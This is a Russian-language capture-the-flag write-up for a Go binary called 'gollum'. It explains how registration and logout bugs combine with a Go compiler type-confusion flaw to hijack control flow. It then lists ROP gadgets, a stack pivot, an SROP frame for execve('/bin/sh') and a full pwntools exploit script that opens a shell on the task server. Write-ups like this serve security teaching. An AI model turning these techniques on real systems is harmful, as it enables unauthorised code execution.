Описание
In the depths of Orodruin I have found a new type of database.
It stores users and passwords within the single structure.
I hope it’s safe. I use it in production anyway.
Согласно классификации разработчиков, задание gollum является самым простым по сложности заданием, однако под конец соревнований оно имело наименьшее количество решений и фактически оказалось самым сложным. 🩸 Я же решил его первым 🩸
Решение
Анализ
К заданию прилагается архив c исходным кодом на Go
$ tree
.
├── deploy
│ ├── docker-compose.yml
│ ├── Dockerfile
│ ├── entrypoint.sh
│ ├── gollum
└── src
├── build.sh
├── cmd
│ └── main.go
├── database
│ └── database.go
├── Dockerfile
├── go.mod
├── models
│ ├── credential.go
│ └── user.go
├── services
│ └── auth.go
└── util
└── hashes.go
Запустим file и checksec:
$ file gollum
gollum: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=U5zgabr6y7z_rmgQr480/aF0WXt2RGaUXA0Hq_MuU/7vr2Qg4Tl__oBE76V6Jv/OAeBTWqr0fuu2MX0t8wP, with debug_info, not stripped
$ checksec --file=gollum
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 2347 Symbols No 0 0 gollum
Перед нами бинарь Golang, собранный в Debug версии. Запускаю бинарь:
./gollum
[!] Hello! Please, use `HELP` for available commands.
> HELP
[*] Use `LOGIN`, `REGISTER` or `EXIT` commands.
> REGISTER
[?] Please, enter username: foo
[?] Please, enter password: bar
[?] Please, enter password protection mode: sha1
[+] Registered successfully.
> LOGIN
[-] You are logged in, you should log out first.
> HELP
[*] Use `INFO`, `UPDATE`, `LOGOUT` or `EXIT` commands.
> INFO
[*] User: foo
> UPDATE
[?] Please, enter description: goida
[+] Description updated.
> INFO
[*] User: foo "goida"
> LOGOUT
> LOGIN
[?] Please, enter username: foo
[?] Please, enter password: bar
[+] Logged in successfully.
>
Программа является неким подобием базы, с возможностью регистрации, авторизации и обновления описания пользователя. Стоит обратить внимание на само описание задания, где говорится о том, что пользователи и пароли хранятся в рамках единой структуры. Первая моя внезапно возникшая мысль была связана с уязвимостью Type Confusion, а как известно, первая мысль – самая верная
Исходный код
Используемые модели
Создание пользователя и выход из аккаунта
| |
Здесь происходит создание нового пользователя и добавление его в базу данных. Заметим одну
неточность в реализации: при регистрации за основу берется структура ctx.user, поля которой
уже могут быть определены
Эксплуатация описанной выше уязвимости возможна благодаря следующей ошибке
В данной функции происходит разлогинивание пользователя. Флаг ctx.loggedIn обнуляется, в отличие
от структуры ctx.user. В совокупности две эти ошибки позволяют нам создать пользователя с
уже заполненным описанием
Обновление описания и вход в аккаунт
| |
При обновлении описания пользователя, его описание помещается в базу данных, однако структура
ctx.user не обновляется. Чтобы это исправить, достаточно перезайти в аккаунт
| |
Отладочная информация
| |
При анализе исходного кода, я обратил внимание на данные строки. Я не придал им должного значения,
однако меня смутило, что данная информация не выводится в консоль (что логично, ведь fmt.Sprintf
возвращает строку и ничего не выводит). Практическое значение этого кода я не понял
Эксплуатация
Возвращаясь к моей мысле о Type Confusion, я решил поискать в интернете известные уязвимости Golang, и буквально первым результатом был issue на GitHub с описанием данной проблемы. Как ни странно, версия Go совпадает с нашей
Локальная версия Golang:

В issue также представлен PoC, который при запуске выдает ошибку сегментации. Проблема заключается в недоработке компилятора, который использует имена внутренних типов как есть, и создание нескольких внутренних типов с одинаковыми именами приводит к уязвимости Type Confusion

Перекладывая это на наш случай, приходим к выводу, что в функции
AddUser
тип поля структуры debugEntry не models.User, а models.Credential
(который был определен ранее в
AddCredential).
С помощью GDB в этом можно легко убедиться

Type Confusion для захвата RIP
Заметим, что поля Credential.hashFunc и User.Description пересекаются
$ pahole -C gollum/models.Credential gollum
struct gollum/models.Credential {
time.Time created; /* 0 24 */
gollum/models.HashFunc hashFunc; /* 24 8 */
struct string password; /* 32 16 */
/* size: 48, cachelines: 1, members: 3 */
/* last cacheline: 48 bytes */
};
$ pahole -C gollum/models.User gollum
struct gollum/models.User {
int Id; /* 0 8 */
struct string Name; /* 8 16 */
struct string Description; /* 24 16 */
int CredentialId; /* 40 8 */
/* size: 48, cachelines: 1, members: 4 */
/* last cacheline: 48 bytes */
};
Из-за того что Credential.hashFunc является указателем на таблицу методов, а User.Description
– указателем на строку, мы можем с легкостью захватить RIP, указав в описании пользователя
интересующий нас адрес. Однако уязвимость актуальна только при создании пользователя, поэтому
мы воспользуемся еще одной уязвимостью, описанной
ранее
Pivoting и SROP для получения оболочки
В данный момент мы можем контролировать только RIP

Для последующей эксплуатации с помощью ROP необходимо контролировать некоторое количество памяти стека. Заметим, что RSP указывает в область памяти, где находится строка с описанием, причем значение RSP указывает на память до строки

Оффсет RSP до буфера случаен, однако 3 последних ниббла всегда статичны. Также практическим путем было выяснено, что оффсет не превышает 0x80000 и его можно быстро забрутить. Исходя из этого я подобрал несколько гаджетов для pivoting’а. Наиболее удачным оказался второй
ADD_RSP = 0x45d0ba #: add rsp, 0x20008 ; ret
ADD_RSP = 0x45d1ba #: add rsp, 0x40008 ; ret
ADD_RSP = 0x45d2ba #: add rsp, 0x80008 ; ret
Для вызова execve необходимо контролировать rax, rdi, rsi и rdx, а также иметь строку /bin/sh и знать ее адрес. Бинари, написанные на Go, не богаты гаджетами
$ ROPgadget --binary gollum | grep -E ': pop r.{2} ; ret$'
0x000000000040c9d7 : pop rax ; ret
0x000000000045f76d : pop rbp ; ret
0x0000000000407dc1 : pop rbx ; ret
0x000000000042dc82 : pop rdx ; ret
Я пошел немного эвриcтическим путем, а именно: с помощью известных простых гаджетов создал в памяти строку /bin/sh
POP_RAX = 0x40c9d7 #: pop rax ; ret
POP_RBX = 0x407dc1 #: pop rbx ; ret
MOV_PTR_RAX_8_RCX = 0x47fb17 #: mov qword ptr [rax + 8], rcx ; ret
MOV_RCX_RBX_CALL_RAX = 0x45de9f #: mov rcx, rbx ; call rax
ADD_RSP_8_RET = 0x40e91e #: add rsp, 8 ; ret
SYSCALL = 0x4026ac #: syscall
BUF_ADDR = 0x53e000
BUF_VALUE = b'/bin/sh\0'
rop = [
POP_RAX,
ADD_RSP_8_RET,
POP_RBX,
BUF_VALUE,
MOV_RCX_RBX_CALL_RAX,
POP_RAX,
BUF_ADDR - 8,
MOV_PTR_RAX_8_RCX,
]
И выполнил SROP для настройки аргументов execve
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = BUF_ADDR
frame.rip = SYSCALL
rop += [
POP_RAX,
constants.SYS_rt_sigreturn,
SYSCALL,
frame
]
Собираем вместе
Эксплоит
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 17172 gollum
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'gollum')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 17172)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.STRACE:
with tempfile.NamedTemporaryFile(prefix='pwnlib-log-', suffix='.strace',
delete=False, mode='w') as tmp:
log.debug('Created strace log file %r\n', tmp.name)
run_in_new_terminal(['tail', '-f', '-n', '+1', tmp.name])
return process(['strace', '-o', tmp.name, '--'] + [exe.path] + argv, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
def num(n):
return str(n).encode()
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main.main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
from pwnbrute import *
# ADD_RSP = 0x45d0ba #: add rsp, 0x20008 ; ret
ADD_RSP = 0x45d1ba #: add rsp, 0x40008 ; ret
# ADD_RSP = 0x45d2ba #: add rsp, 0x80008 ; ret
POP_RAX = 0x40c9d7 #: pop rax ; ret
POP_RBX = 0x407dc1 #: pop rbx ; ret
MOV_PTR_RAX_8_RCX = 0x47fb17 #: mov qword ptr [rax + 8], rcx ; ret
MOV_RCX_RBX_CALL_RAX = 0x45de9f #: mov rcx, rbx ; call rax
ADD_RSP_8_RET = 0x40e91e #: add rsp, 8 ; ret
SYSCALL = 0x4026ac #: syscall
BUF_ADDR = 0x53e000
BUF_VALUE = b'/bin/sh\0'
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = BUF_ADDR
frame.rip = SYSCALL
rop = [
POP_RAX,
ADD_RSP_8_RET,
POP_RBX,
BUF_VALUE,
MOV_RCX_RBX_CALL_RAX,
POP_RAX,
BUF_ADDR - 8,
MOV_PTR_RAX_8_RCX,
POP_RAX,
constants.SYS_rt_sigreturn,
SYSCALL,
frame
]
MENU = b'> '
def pwn():
io = start()
# Register user
io.sendlineafter(MENU, b'register')
io.sendlineafter(b': ', b'foo')
io.sendlineafter(b': ', b'bar')
io.sendlineafter(b': ', b'sha1')
# Update his description
io.sendlineafter(MENU, b'update')
io.sendlineafter(b': ', flat({
0: ADD_RSP,
0x1e0: rop,
0x1000: b'',
}) * 20) # Repeat chain to increase exploit probability
io.sendlineafter(MENU, b'logout')
# Update `ctx.user` struct
io.sendlineafter(MENU, b'login')
io.sendlineafter(b': ', b'foo')
io.sendlineafter(b': ', b'bar')
io.sendlineafter(MENU, b'logout')
# Register user with prepared description
io.sendlineafter(MENU, b'register')
io.sendlineafter(b': ', b'hui')
io.sendlineafter(b': ', b'bar')
io.sendlineafter(b': ', b'sha1')
io.sendline(b'echo cleanoutput')
io.recvuntil(b'cleanoutput')
success()
io.interactive()
if __name__ == '__main__':
brute(pwn, workers=16)
